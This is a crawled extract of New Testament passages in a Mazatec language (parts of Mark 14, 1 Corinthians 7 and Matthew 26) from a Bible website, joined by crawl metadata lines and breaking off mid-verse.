itjojiìn‑ne ts'e̱ xi̱ta̱‑la̱ Jesús xi tejò ma‑ne. Kjìn xi̱ta̱ tji̱ko̱ xi 'ya ki̱cha̱ ndojò ko̱ yá. Xi̱ta̱ koi, jñà kisìkasén xi̱ta̱ sko̱‑la̱ no̱'miì ko̱ xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés ko̱ xi̱ta̱ jchínga‑la̱ xi̱ta̱ judío. 44Judas, jè xi tsatíjna Jesús, ítjòn tsibíhichi̱ya‑la̱ kós'ín ko̱kò‑la̱ Jesús. Kitsò‑la̱: ―Jè xi skíne̱'a, jè‑né xi ti̱ndo̱ba̱'ñó; ndaà ti̱kinda̱a k'e̱ nga onguíko̱o. 45K'e̱ nga ijchò Judas, kiì ndi̱yá‑né ñánda tíjna Jesús, kitsò‑la̱: ―Maestro. I̱kjoàn kiskine'a. 46Jñà xi̱ta̱ xi tji̱ko̱, ni̱to̱ón kitsobà'ñó Jesús. 47Ya̱á tíjna jngoò xi̱ta̱ xi tsachrje ki̱cha̱ ndojò‑la̱. Tsajá‑la̱ jè xi̱ta̱ chi̱'nda‑la̱ no̱'miì ítjòn, tsatet'aà jngoò líká‑la̱. 48Jesús kiìchja̱, kitsò‑la̱ jñà xi̱ta̱: ―¿Mé‑ne ko̱s'ín ko̱f'i̱ ndobà'ñó‑ná nga ko̱ ki̱cha̱ ko̱ yá kich'à koni tsà jngoò xi̱ta̱ chijé? 49Na̱chrjein nchijòn tìjna̱ko̱‑nò ján i̱ngo̱ ítjòn nga okoòya‑nò koa̱ mìkiì kindobà'ñó‑ná. Koií k'oa̱á s'ín tíma‑ne nga ki̱tasòn 'én xi tjít'aà Xo̱jo̱n‑la̱ Nainá. 50Ngats'iì xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús tsanga‑né, ya̱á kitsjeiìn‑takòn. 51Jngoò chíti tji̱ngui‑la̱ xi tíjnajté jngoò nikje sábana. Jñà xi̱ta̱ kitsobà'ñó, 52ta̱nga jè chíti kitsjeiìn nikje sábana‑la̱; i̱kjoàn k'oa̱s'ín tsanga laká. 53Jesús kiìko̱ ñánda tíjna no̱'miì ítjòn. Ya̱á chixoña kóho̱tjín xi̱ta̱ sko̱‑la̱ no̱'miì, jñà xi̱ta̱ jchínga, ko̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés. 54Jè Pedro, tà kjiìn tà kjiìn tsajmeètji̱ngui‑la̱ skanda k'e̱ nga ijchò ya̱ ndi̱tsin ni'ya‑la̱ no̱'miì ítjòn. Ya̱á tsibíjnat'aà‑la̱ ñánda títsa̱jna xi̱ta̱ chi̱'nda xi síkinda̱ i̱ngo̱ nga títsa̱jna'ngui. 55Jñà xi̱ta̱ sko̱‑la̱ no̱'miì ko̱ ngats'iì xi̱ta̱xá xi ts'e̱ xi̱ta̱ judío tsohótsji'nde‑la̱ nga tsját'in 'én xi kondra̱ ts'e̱ Jesús mé‑ne nga ko̱ma si̱ìk'en‑ne ta̱nga nìmé 'én kisakò‑la̱. 56Kjìn ma xi̱ta̱ xi tsját'in 'én ndiso xi kondra̱ ts'e̱ Jesús ta̱nga kj'ei̱í tsò nga jngoò ìjngoò; mìkiì mangásòn 'én xi tsját'in. 57Chincha kixi̱ i'nga xi̱ta̱ xi tsibéno̱jmí 'én ndiso. Kitsò: 58―Ngaje̱n, kina'yà‑la̱je̱n nga tsò: \"'A̱n siìki̱xo̱ña i̱ngo̱ ítjòn xi tsja xi̱ta̱ kisindaà‑ne, ko̱ jàn na̱chrjein kìndaà ìjngoò‑na xi mìtsà tsja xi̱ta̱ sindaà‑ne.\" 59Ni̱ mìkiì kjòngásòn 'én‑la̱ na̱s'ín o̱kitsò. 60K'e̱é tsasítje̱n jè no̱'miì ítjòn; tsasíjnajiìn osen‑la̱; kiskònangui‑la̱ Jesús, kitsò‑la̱: ―¿A nì mé 'én nokjoì, koni tsò 'én xi tsjá xi̱ta̱ koi xi kondra̱ tsi̱ji? 61Ta̱nga jè Jesús jyò tsibìjna, ni̱mé 'én kiìchja̱. Jè no̱'miì ítjòn ìjngoò k'a kiskònangui‑la̱, kitsò‑la̱: ―¿A ji̱‑né xi Cristo, xi Ki'ndí‑la̱ Nainá xi 'ñó jeya tíjna? 62Jesús kitsò: ―'A̱n‑ná, jñò jcha̱‑ná xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱ nga kóti̱jnat'aà chrja kixi̱‑la̱ Nainá xi 'ñó tse nga'ñó tjín‑la̱, koa̱ kji̱nchrobàjñaà ifi ján ngajmiì. 63Jè no̱'miì ítjòn tsatijndajno yijo‑la̱ nikje‑la̱ xi íkjá nga 'ñó kòjti‑la̱. Kitsò: ―¿Mé s'e̱én‑ìsa̱‑ná xi̱ta̱ xi kj'ei̱í xi tsjá 'én? 64Jñá, jye titsa̱na'yà koni s'ín chja̱jno‑la̱ Nainá. ¿Jñò, kó bixón? ¿Mé xi si̱koa̱á? Ngats'iì xi̱ta̱ kisìjngoò ikon nga tjín‑la̱ jé koa̱ ok'ín‑la̱ nga ki̱yá. ―Ok'ín‑la̱ nga si̱k'en. 65Jñà xi̱ta̱ tsibíts'ia̱ nga tsibíchrájno koa̱ tsibíchjoà xko̱n, tsi'beé‑la̱, kitsò‑la̱: ―K'oa̱á si, ¿yá xi tí'beé‑lè? Jñà xi̱ta̱ xi síkinda̱ i̱ngo̱, kisìjts'iìn‑'a i̱sén‑la̱. 66Jè Pedro ya̱á tíjna kangui ndi̱tsin ni'ya. Ijchò jngoò chjo̱ón xi chi̱'nda‑la̱ no̱'miì ítjòn. 67K'e̱ nga kijtseè Pedro, nga tíjna'ngui, kiskoòtsejèn‑jno, kitsò‑la̱: ―Ti̱koa̱á ngaji̱, ya̱á tjaàkoi̱i Jesús xi Nazaret i̱'nde‑la̱. 68Ta̱nga jè Pedro tsoho'mat'in‑né. Kitsò: ―Mìkiì bexkoan. Mìkiì be mé 'én xi tinokjoì. Pedro itjo ni'ya ján xotjoa̱‑la̱. K'e̱é kiskindàya jngoò kóxtí. 69Jè chjo̱ón chi̱'nda‑la̱ no̱'miì ítjòn kijtseè ìjngoò k'a jè Pedro. Kitsò‑la̱ jñà xi̱ta̱ xi ya̱ títsa̱jna: ―Jè xi̱ta̱ jè, xi̱ta̱ ts'e̱é Jesús. 70Ta̱nga jè Pedro tsoho'mat'in ìjngoò k'a. Nga ko̱ma i̱skan, jñà xi̱ta̱ xi ya̱ títsa̱jna, ìjngoò k'a kitsò‑la̱ Pedro: ―Xi o̱kixi̱, ngaji̱, xi̱ta̱‑la̱ Jesús‑né nga Galilea i̱'nde‑lè, k'oa̱á tsò 'én‑lè xi nokjoì. 71Ta̱nga ìsa̱á 'ñó kiìchja̱ Pedro kitsò: ―¡Beè Nainá, na̱s'ín ti̱k'eèn‑ná, mìkiì bexkoan jè xi̱ta̱ xi o̱'mì‑là! 72Ti̱k'e̱‑ne nga o̱kitsò Pedro, jè xi ma‑ne jò k'a kiskindàya kóxtí. K'e̱é tsibítsjeèn‑la̱ Pedro koni kitsò‑la̱ Jesús: \"K'e̱ ti̱kj'eè kjindáya jò k'a kóxtí, ngaji̱, jàn k'a tsjá'mat'in‑ná.\" I̱kjoàn ndaà jchán kiskindàya.\nSan Marcos 14","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Mark\/14","date":"2013-12-13T22:39:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386165002851\/warc\/CC-MAIN-20131204135002-00083-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000069141,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"maa_Latn_score\": 1.000006914138794}","num_words":1490,"character_repetition_ratio":0.075,"word_repetition_ratio":0.005,"special_characters_ratio":0.239,"stopwords_ratio":0.279,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"1A̱'ta 'tse̱ 'én ra ichjinangi‑nájiòn nga inikasén‑ná xa̱jo̱n nga bixó nga isa̱á‑la nda tjín tsa mì kì ki̱xan jñà xi̱ta̱. 2Tanga ta nga̱tjì‑la̱ nga ya̱ na̱xi̱ndá‑najiòn 'ñó tjín ra kjoa̱chijngi, machjeén‑ni nga jngó jngó xi̱ta̱ 'xi̱n kata'se‑la̱ chjo̱ón‑la̱ ko̱ nga jngó jngó íchjín kata'se‑la̱ 'xi̱n‑la̱. 3Jè xi̱ta̱ 'xi̱n ko̱'sín nda katasísin‑la̱ jè chjo̱ón 'kia̱ nga kjójnako̱ ko̱ jè chjo̱ón ti̱'koa̱á ko̱'sín nda katasísin‑te‑la̱ jè 'xi̱n‑la̱ 'kia̱ nga kjójnako̱. 4Jè chjo̱ón, mì tsa ti̱ ta jè kinda̱‑la̱ ijo‑la̱, ijyeé 'tse̱é 'xi̱n‑la̱. Ko̱ jè xi̱ta̱ 'xi̱n, ti̱'koa̱á mì tsa ti̱ ta jè kinda̱‑la̱ ijo‑la̱, ijyeé 'tse̱é chjo̱ón‑la̱. 5Kì ijo‑no nixkon‑la xàngio̱o nga jngó jngó‑no; ta 'kia̱á‑la tsa ngásòn xá jchi̱baya‑no tsa jè ni̱chjin 'kia̱ nga mejèn‑no kítsa'ba‑la Nainá; ra ko̱ma a̱skan‑nioo̱, machjeén‑ní nga si̱sin india‑ila xàngio̱o, mé‑ni nga mì jè xi̱ta̱‑ni̱í sko̱ónda̱cha̱‑no 'kia̱ nga tsa mì kì ti̱ chíkjoa̱a‑no nga xìn tsjáhijyo‑la xàngio̱o. 6Jè 'én ra ko̱tíxian‑no, ta 'a̱n‑ná ra ko̱'sín títsja'ndé‑no, mì tsa koni jngo kjo̱téxoma tíbijná‑no. 7Ra a̱'ta tsa̱'a̱n ndaá‑la 'se̱ tsa nga'tsì xi̱ta̱ ta ko̱'sín katitsa̱jna koni 'sín nga tíjna̱ ra 'a̱n, tanga nga jngó jngó xi̱ta̱ kja̱ ki'tsì kja̱ ki'tsí jngo‑la̱ kjo̱tjò ra 'tse̱ Nainá nga kó'sín kítsa̱jna, kja̱ kj'ií kja̱ kj'ií 'sín títsa̱jna nga jngó jngó xi̱ta̱. 8Jñà xi̱ta̱ ra títsa̱jna ta̱jngo ko̱ jñà íchjín ra ijye 'ken 'xi̱n‑la̱, ndaá‑la tjín tsa ta ko̱'sín katitsa̱jna ta̱jngo koni 'a̱n. 9Tanga tsa mì kì chíkjoa̱‑la̱ nga bìtsa̱jna ta̱jngo, isa̱á nda‑ni tsa katixan, mì 'koa̱‑ni tsa jè kjoa̱ská 'tse̱ ijo‑la̱ si̱ìkijne‑la̱. 10Tanga jñà ra ijye ixan, 'koa̱á 'sín tsja‑la̱ jè kjo̱téxoma ra̱kìi̱; tanga mì tsa tsa̱'a̱n jiàa̱n jè kjo̱téxoma, 'tse̱é Na̱'ín‑ná. Kì tà chjàn tsjin‑ni xákjién. Jè chjo̱ón, kì tà chjàn tsjin‑ni 'xi̱n‑la̱. 11Tanga tsa tsjín‑ni 'xi̱n‑la̱, kì tà chjàn kj'ií 'xi̱n bixan‑ko̱ india‑ni; isa̱á nda‑ni tsa katajo̱ónda india‑ni ko̱ 'xi̱n‑la̱. Ko̱ jè xi̱ta̱ 'xi̱n, kì tà chjàn tsjin‑ni chjo̱ón‑la̱. 12'Koa̱á 'sín tíxin‑la̱ jñà ra kj'ií xi̱ta̱ ra ta kjo̱bítsjen tsa̱'a̱n, mì tsa jngo 'én ra Na̱'ín‑ná kitsjà: Tsa jngo xi̱ta̱ 'xi̱n ra makjiín‑la̱ 'én‑la̱ Nainá tíjnako̱ jngo chjo̱ón ra mì kì makjiín‑la̱, tsa jè chjo̱ón tsò ikon nga bijnako̱, ko̱'sín katijnako̱, kì tà chjàn tsjin‑ni xákjién. 13Ko̱ tsa jngo chjo̱ón ra makjiín‑la̱ 'én‑la̱ Nainá, mì kì makjiín‑la̱ jè 'xi̱n‑la̱ ko̱ tsa tsò ikon nga bijnako̱ chjo̱ón‑la̱, katijnako̱‑ní, kì tà chjàn tsjin‑ni xákjín. 14Jè xi̱ta̱ 'xi̱n ra mì kì makjiín‑la̱, a̱'ta 'tse̱é chjo̱ón‑la̱ matsje‑ni, [nga̱ jè chjo̱ón, makjiín‑la̱ 'én‑la̱ Nainá]. Ko̱ jè chjo̱ón ra mì kì makjiín‑la̱, a̱'ta 'tse̱é 'xi̱n‑la̱ matsje‑ni, [nga jè 'xi̱n, makjiín‑la̱ 'én‑la̱ Nainá]; tsa majìn, jñà i̱xti‑la̱ xi̱ta̱ kìi̱, mí‑la tsa xi̱ta̱ tsje ko̱xki̱ ya̱ ngixko̱n Nainá; tanga 'ndi̱ 'ndi̱, jñà i̱xti‑la̱ xi̱ta̱ kìi̱, ijyeé tsje 'ya‑la̱ ya̱ ngixko̱n Nainá. 15Tanga tsa jè xi̱ta̱ ra mì kì makjiín‑la̱ 'én‑la̱ Nainá mejèn‑la̱ nga tsjín‑ni xákjén ra 'én‑la̱ Nainá makjiín‑la̱, katatsjin‑ni. Nga̱ mì kì tjínè‑la̱ nga kjo̱'ñó kítsa̱jnako̱ xákjén. Nga̱ kií xá kiìchja̱‑ná Nainá nga 'nchán ki̱tsa̱jneé. 16Tanga ndaá katasijin‑li ji̱ chjo̱ón ra makjiín‑li 'én‑la̱ Nainá, mì kì 'ya‑ni tsa kií‑ni ni̱chjin a̱'ta tsa̱ji‑ní nga ko̱ma ki̱tjokajin kjo̱hi'in jè 'xi̱n‑li. Ko̱ ji̱ ra 'xi̱n 'mì‑li ra makjiín‑li 'én‑la̱ Nainá, mì kì 'ya‑ni tsa kií‑ni ni̱chjin a̱'ta tsa̱ji‑ní nga ko̱ma ki̱tjokajin kjo̱hi'in jè chjo̱ón‑li. 17Nga jngó jngó xi̱ta̱, machjeén‑ní nga ko̱'sín katasíjchá ijo‑la̱ koni 'sín nga kitsjà‑la̱ Nainá ko̱ koni 'sín nga kjòn 'kia̱ nga ti̱'sa̱ Nainá kiìchja̱‑la̱ nga xi̱ta̱‑la̱ ki'sìn. 'Koa̱á 'sín tjín kjo̱hixi̱ ra tsja‑la̱ nga'tsì xi̱ta̱ na̱xi̱ndá‑la̱ Cristo. 18Tsa tjín i'ka xi̱ta̱ ra ijye tjí'ta chi̱ba̱ ijo‑la̱ ra kjoa̱ 'tse̱ circuncisión 'kia̱ nga xi̱ta̱‑la̱ Cristo kjomà, ta ko̱'sín katitsa̱jna, ko̱ tsa tjín i'ka ra kjè kì tjí'ta chi̱ba̱ ijo‑la̱, kì tà chjàn ti̱ bí'ta chi̱ba̱‑ni ijo‑la̱. 19Nga̱ mì tsa jè ra 'ñó chjí‑la̱ tsa tjí'ta chi̱ba̱ ijo‑la̱ ko̱ tsa mì tjí'ta chi̱ba̱ ijo‑la̱; jé ra 'ñó chjí‑la̱ tsa nda ki̱tjasòn jñà kjo̱téxoma‑la̱ Nainá. 20Nga jngó jngó‑no ko̱'sín ti̱tsa̱jna koni 'sín nga titsa̱jna 'kia̱ kiìchja̱‑no Nainá. 21Tsa 'kia̱ nga kiìchja̱‑li Nainá tsa chi̱'nda 'ñó tijni, kì tà chjàn makájno‑li, tanga tsa maá bijnandi̱í‑ni, ti̱jna̱ndi̱í‑ni. 22Jè xi̱ta̱ ra chi̱'nda'ñó tíjna 'kia̱ nga kiìchja̱‑la̱ Nainá nga kjokjiín‑la̱ 'én‑la̱, ijyeé tíjnandi̱í‑ni 'ndi̱ 'ndi̱ ra a̱'ta 'tse̱ Cristo. Tanga jè xi̱ta̱ ra tíjnandi̱í‑ni 'kia̱ nga kiìchja̱‑la̱ Nainá, 'ndi̱‑ni̱ chi̱'nda'ñó‑la̱ Cristo tíjna. 23Jè Nainá ijyeé xá tsatse‑najiòn; kì tà chjàn bi'nde jiòn nga kj'ií xi̱ta̱ chi̱'nda'ñó‑la̱ 'sín‑no. 24Jiòn ndí 'ndsé ko̱ ndí tichjeé, koni 'sín nga titsa̱jna jiòn nga jngó jngó‑no 'kia̱ nga ti̱'sa̱ kiìchja̱‑no Nainá, 'koa̱á 'sín ti̱tsa̱jna ya̱ ngixko̱n Nainá. 25A̱'ta 'tse̱ xi̱ta̱ ra takó títsa̱jna ta̱jngo, tsìn jngo‑na kjo̱téxoma ra tsja‑la̱ ra 'tse̱ Na̱'ín‑ná, tanga 'koa̱á 'sín kosòn‑la̱ ra 'a̱n koni 'sín tsò kjo̱bítsjen‑na̱, nga̱ jè Nainá 'ñó kjòhi̱ma̱ke‑na mé‑ni nga ko̱ma 'a̱n koa̱à'tàtákon‑na xi̱ta̱. 26Ta nga̱tjì‑la̱ nga 'ñó i'in chon ni̱chjin ra titsa̱jneé 'ndi̱ 'ndi̱, 'koa̱á 'sín síkítsjen ra 'a̱n, ndaá‑la tjín tsa ta ko̱'sín katitsa̱jna jñà xi̱ta̱ koni 'sín nga títsa̱jna skanda 'ndi̱ 'ndi̱. 27Tsa tjín‑li chjo̱ón, kì tà chjàn jmi‑nì, ko̱ tsa tsìn‑li, kì tà chjàn chjo̱ón fatsji. 28Tsa ki̱xan‑ní, mì tsa jé‑ni; ko̱ tsa jngo tsati xa̱ngó ki̱xan, ti̱'koa̱á mì tsa jé tíbátsji; tanga 'koa̱á ma‑na 'kia̱ nga ijye ki̱xan, kjo̱hi'iín ko̱to, ko̱ jè ra majìn‑na ra 'a̱n tsa ko̱'sín katama'tin. 29Ndí 'ndsé, mején‑na nga nda katasijin‑najiòn, tjín chiba‑isa‑ná ni̱chjin nga ma si̱hitjasón‑lá Nainá; 'koa̱á ma‑ni jè xi̱ta̱ 'xi̱n ra tjín‑la̱ chjo̱ón, ko̱'sín kata'sín koni tsa tsìn‑la̱ chjo̱ón. 30Ko̱ jñà xi̱ta̱ ra kjo̱ba títsa̱jin, ko̱'sín katitsa̱jna koni tsa mì ba tjín‑la̱; ko̱ jñà ra 'sí tjín‑la̱, ko̱'sín katitsa̱jna koni tsa mì 'sí tjín‑la̱; ko̱ jñà ra batse tsajmì, ko̱'sín kata'sín koni tsa mì mé ra tjín‑la̱. 31Ko̱ jñà ra fìtji̱ngi‑la̱ kjoa̱ ra tjín i̱ i̱sà'nde, ko̱'sín kata'sín koni tsa mì ya̱ i̱nchifìtji̱ngi‑la̱. Nga̱ jè i̱sà'nde ra titsa̱jnasén, ta ko̱to‑ní. 32Mején‑na tsa ni̱mé kjoa̱ níkájno 'se̱‑najiòn. Jè xi̱ta̱ ra tíjna ta̱jngo, jè síkájno kjoa̱ ra 'tse̱ Na̱'ín‑ná ko̱ mé kjoa̱ ra nda sasén‑la̱ jè Na̱'ín‑ná. 33Tanga jè xi̱ta̱ 'xi̱n ra ijye tjín‑la̱ chjo̱ón, jñá síkájno kjoa̱ ra tjín i̱ i̱sà'nde kó'sín isa̱ nda kíjnako̱ chjo̱ón‑la̱; 34jò sko̱ya kjoa̱ tísíkájno. Ti̱'koa̱á jè chjo̱ón ra tíjna ta̱jngo ko̱ jè tsati ra kjè kì bixan, kií síkájno kjoa̱ 'tse̱ Na̱'ín‑ná, kó'sín nga tsje si̱ìkíjna ijo‑la̱ ko̱ inìma̱‑la̱. Tanga jè chjo̱ón ra tjín‑la̱ 'xi̱n, jé síkájno kjoa̱ ra tjín i̱ i̱sà'nde ko̱ kó'sín isa̱ nda kíjnako̱ 'xi̱n‑la̱. 35Kjo̱nda tsa̱jión‑nájiòn nga ko̱'sín tíxian‑no, mì tsa ki‑ni nga 'a̱n tíbatechjá‑no. Kií ko̱'sín tíxian‑no, mé‑ni nga nda kjón ti̱tsa̱jna jiòn, nga mì ta kj'ií kjoa̱ ko̱tèkjáya‑no nga si̱xá‑la Nainá. 36Tsa jngo xi̱ta̱ ko̱'sín tíma‑la̱ nga mì nda tí'sín nga kjè bixan‑ko̱ chjo̱ón ra ijye tíjnanda‑la̱ ko̱ tsa ijyeé ijchó chi̱ba̱‑la̱ nga ki̱xan, 'koa̱á 'sín kata'sín koni 'sín tsò‑la̱ kjo̱bítsjen‑la̱; katixan‑ko̱, nga̱ mì tsa jé‑ní. 37Tanga jè ra ko̱'sín ngi ko̱ inìma̱‑la̱ ijye iskosòn‑la̱ nga takó kjè ma kíjnako̱ chjo̱ón ra ijye tíjnanda‑la̱, mì tsa yá ra kjo̱'ñó tí'sín‑la̱, tsa maá ki̱chíkjoa̱ko̱‑la̱ ijo‑la̱, ndaá‑ni tsa mì ki̱xan‑ko̱. 38Nga̱ jè ra bixan, ndaá tí'sín, ko̱ jè ra mì kì bixan, isa̱á ta nda tí'sín. 39Jè chjo̱ón ra ijye ixan, ya̱á itsabá'ñó 'xi̱n‑la̱ 'kia̱ nga tíjnakon‑isa jè 'xi̱n‑la̱, tanga tsa ki̱yá jè 'xi̱n‑la̱, ijyeé tíjnandi̱í‑ni; ko̱maá ki̱xan india‑ni nga kíjnako̱ ni̱'sín ta yá xi̱ta̱ ra mejèn‑la̱, tsa ta 'én‑la̱ Nainá makjiín‑la̱. 40Tanga 'koa̱á xiaa̱n ra 'a̱n, isa̱á‑la ta nda‑ni tsa ta ko̱'sín kíjna ta̱jngo jè chjo̱ón ra ijye 'ken 'xi̱n‑la̱. Ko̱ 'koa̱á ma‑naa̱ nga tjín‑te‑na jè Inìma̱ Tsje‑la̱ Nainá, ko̱ jé‑la ra ko̱'sín tísíchi̱ya‑na.\n1 Corintios 7","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/1Cor\/7","date":"2013-12-11T12:35:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164036080\/warc\/CC-MAIN-20131204133356-00094-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":29,"top_langs":"{\"maa_Latn_score\": 1.0000098943710327}","num_words":1199,"character_repetition_ratio":0.078,"word_repetition_ratio":0.013,"special_characters_ratio":0.243,"stopwords_ratio":0.297,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"1'Kia̱ nga ijye kiìchja̱ nga'tsì 'én kìi̱ Jesús, kitsó‑la̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱: 2―Ijyeé 'ya jiòn nga ta jò ni̱chjin chija‑isa nga ki̱tjo jè 'sí paxko̱; 'a̱n ra I'ndí‑la̱ Xi̱ta̱ xian‑la̱ ijo‑na̱, ya̱á ko̱nga̱tsja jñà xi̱ta̱ na̱xi̱ndá nga koa̱à'ta‑na krò. 3Ti̱jñá‑ni ni̱chjin kìi̱, jñà xi̱ta̱ ítjòn‑la̱ na̱'mì, ko̱ jñà xi̱ta̱ jchínga‑la̱ xi̱ta̱ Judío, ya̱á kjóxkóya ya̱ ndi̱tsin ni'ya‑la̱ na̱'mì ítjòn ra 'mì Caifás. 4Ya̱á tsajo̱óya‑ni kó'sín sko̱ónda̱cha̱‑la̱ Jesús nga ma jtsa̱ba̱'ñó, a̱kjòn si̱ì'ken. 5Kitsò‑la̱ xákjién: ―Mì tsa 'kia̱ ki̱nda̱ba̱'ñé 'kia̱ nga tjín 'sí, mé‑ni nga mì kì kjo̱si 'se̱‑ni ya̱ a̱jin na̱xi̱ndá. 6'Kia̱ nga tíjna Jesús ya̱ na̱xi̱ndá Betania, ya̱ ni'ya‑la̱ ra 'mì Simón jè xi̱ta̱ ra ko̱'sín 'yaxkon‑la̱ nga i'ndojno chrja̱ba̱ ijo‑la̱, 7ya̱á ijchò kasi'ta jngo‑la̱ chjo̱ón ra 'ya jngo namìta̱ na̱jo̱ ra tjíya sihìti̱ ixi ra 'ñó nda jne̱ ko̱ ra 'ñó chjí chjí‑la̱. 'Kia̱ nga tíjna'ta ya̱ ímixa̱ Jesús, jè chjo̱ón ra̱kìi̱, tsikíxten‑jnó ya̱ sko̱ Jesús jè sihìti̱ ra 'ya. 8'Kia̱ nga kijtse jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús, jtií kjomà‑la̱, kitsò: ―¿Mé ta̱ nda kàsíkitsón‑ni? 9Isa̱á‑la nda tsa kasatína, tsa chjí kasatína‑ni nga̱ 'ñó chjí chjí‑la̱, mé‑ni nga ma ki̱si̱ko̱'ta‑ni jñà xi̱ta̱ i̱ma̱. 10'Kia̱ kií'nchré Jesús, kitsò‑la̱: ―¿Mé‑ni nga jè chjo̱ón ra̱kìi̱ nìjti‑la? Koni 'sín nga kásíko̱‑na, 'ñó nda ká'sín‑ni. 11Nga̱ jñà ra xi̱ta̱ i̱ma̱, ya̱á kítsa̱jnako̱ ki'ta‑no; tanga 'a̱n, mì tsa i̱ kóti̱jnako̱ ki'ta‑no. 12'Kia̱ nga ko̱'sín kábíxten‑jnó jè sihìti̱ ya̱ ijo‑na̱ jè chjo̱ón ra̱kìi̱, kií ko̱'sín ká'sín‑ni mé‑ni nga ijye tíjnanda‑ni ijo‑na̱ 'kia̱ nga si̱i'ndee̱. 13'Koa̱á xin kixi̱‑no, ni̱'sín ta ñánda̱ nga 'se̱na̱jmíya jè 'én xi̱tse̱ ra nda tsò nga tjíjtsa i̱sà'nde, ti̱'koa̱á 'se̱na̱jmíyaá‑te koni 'sín ká'sín jè chjo̱ón ra̱kìi̱ mé‑ni nga si̱íkítsjen‑yá‑ni xi̱ta̱ ra a̱'ta 'tse̱. 14Jè ra 'mì Judas Iscariote, jngo xi̱ta̱‑la̱ Jesús jñà ra tejò ma‑ni, kiìjkoón jñà xi̱ta̱ ítjòn‑la̱ na̱'mì, 15kitsò‑la̱: ―¿Mé ra 'ki̱‑nájiòn tsa singátsja‑no Jesús? Katé to̱n chroba isinda‑la̱ nga tsjá‑la̱ jñà xi̱ta̱ ítjòn‑la̱ na̱'mì. 16Jè Judas tsikí'tsia̱‑ní nga tsakátsji'nde‑la̱ kó'sín 'si̱in nga ma si̱ìnga̱tsja Jesús xi̱ta̱ kondra̱‑la̱. 17Jè ni̱chjin 'kia̱ nga ti̱'sa̱ ma'tsia̱ jè 'sí paxko̱ 'kia̱ nga jñà xi̱ta̱ judío bakjèn ni̱ño̱ nchra̱jín ra tsìn‑la̱ na̱'yo̱ san, jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús ijchò kincha'tá‑la̱ ya̱ ñánda̱ tíjna Jesús nga iskonangi‑la̱, kitsò‑la̱: ―¿Ñánda̱ mejèn‑li nga kongí kinda‑ji̱n tsajmì ra chineé ra a̱'ta 'tse̱ 'sí paxko̱? 18Jesús kitsó‑la̱: ―Tangió ya̱ a̱jin na̱xi̱ndá ján, ko̱ ya̱ tangí jngo ni'ya‑la̱ xi̱ta̱. Ko̱'tìn‑la: \"Ki̱í tsò jè Maestro: Jè ni̱chjin‑na̱ ijyeé kjochraña, ko̱ ya̱á ni'ya‑li kochrjé 'sí paxko̱ nga kókje̱n‑ko̱ jñà xi̱ta̱ ra kotá'yá'ta‑na.\" 19Jñà xi̱ta̱ ra kotá'yá'ta‑la̱, 'koa̱á 'sín ki'sìn koni 'sín kitsò‑la̱ Jesús. Ya̱á tsikínda tsajmì ra tsakjèn ra kjoa̱ 'tse̱ 'sí paxko̱. 20'Kia̱ ijye kjòjñò Jesús ko̱ xi̱ta̱ ra kotá'yá'ta‑la̱ ra tejò ma‑ni, ya̱á tsikitsa̱jna'ta ya̱ ímixa̱. 21'Kia̱ nga i̱nchibakjèn, Jesús kitsó‑la̱: ―'Koa̱á xin kixi̱‑no, ti̱ jión jngo‑najiòn ra si̱ìnga̱tsja‑na xi̱ta̱ kondra̱‑na̱. 22Jñà xi̱ta̱‑la̱ Jesús 'ñó ba ki'se‑la̱ 'kia̱ nga kií'nchré. 'Kia̱á jngó jngó iskonangi. Kitsò: ―¿Yá‑nioo̱ Na̱'ìn? ¿A 'a̱n‑ná? 23Jesús kitsó‑la̱: ―Jè ra si̱ìnga̱tsja‑na xi̱ta̱ kondra̱‑na̱ jè‑ní ra ta̱ña mahíjin tsja ko̱ jè ndsa̱ ya̱ a̱jin chro̱ba̱. 24'A̱n ra I'ndí‑la̱ Xi̱ta̱ xian‑la̱ ijo‑na̱, ra kixi̱ kjoa̱, 'koa̱á 'sín ki̱yáa̱ koni 'sín ijye tíchja̱ xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá. ¡Tanga i̱ma̱‑ró‑ni jè xi̱ta̱ ra ko̱'sín si̱ìnga̱tsja‑na! Isa̱á‑la nda‑la̱ tsa ta mì kitsin jè xi̱ta̱ ra̱kìi̱. 25'Kia̱á kiìchja̱ jè Judas, kitsò‑la̱: ―¿A 'a̱n‑ná ji̱ Maestro? Jesús kitsó‑la̱: ―Jon, ji̱‑ní, koni 'sín tjisi. 26'Kia̱ nga i̱nchibakjèn, Jesús iskábé jè ni̱ño̱ nchra̱jín, kitsjá‑la̱ kjo̱nda Nainá, isìjòya jè ni̱ño̱ nchra̱jín a̱kjòn kitsjá‑la̱ xi̱ta̱ ra kotá'yá'ta‑la̱. Kitsò‑la̱: ―Chjíbé ko̱ chji̱ne̱e; jñà kìi̱, jé ijo‑na̱. 27A̱kjòn iskábé jngo chi̱tsín, [jè ra tjíya nandá xán 'tse̱ uva], kitsjá‑la̱ kjo̱nda Nainá, a̱kjòn kitsjá‑la̱ xi̱ta̱‑la̱ jè chi̱tsín. Kitsò‑la̱: ―'Tio̱o nga'tsì‑no jè nandá xán ra tjíya chi̱tsín ra̱kìi̱. 28Nga̱ jè ra̱kìi̱, jé jní‑na̱ ra síkixi̱ya jè kjoa̱ xi̱tse̱ ra tíbindájín‑ko̱‑no, nga xa̱ájten‑tjí‑la̱ xi̱ta̱ nga ma 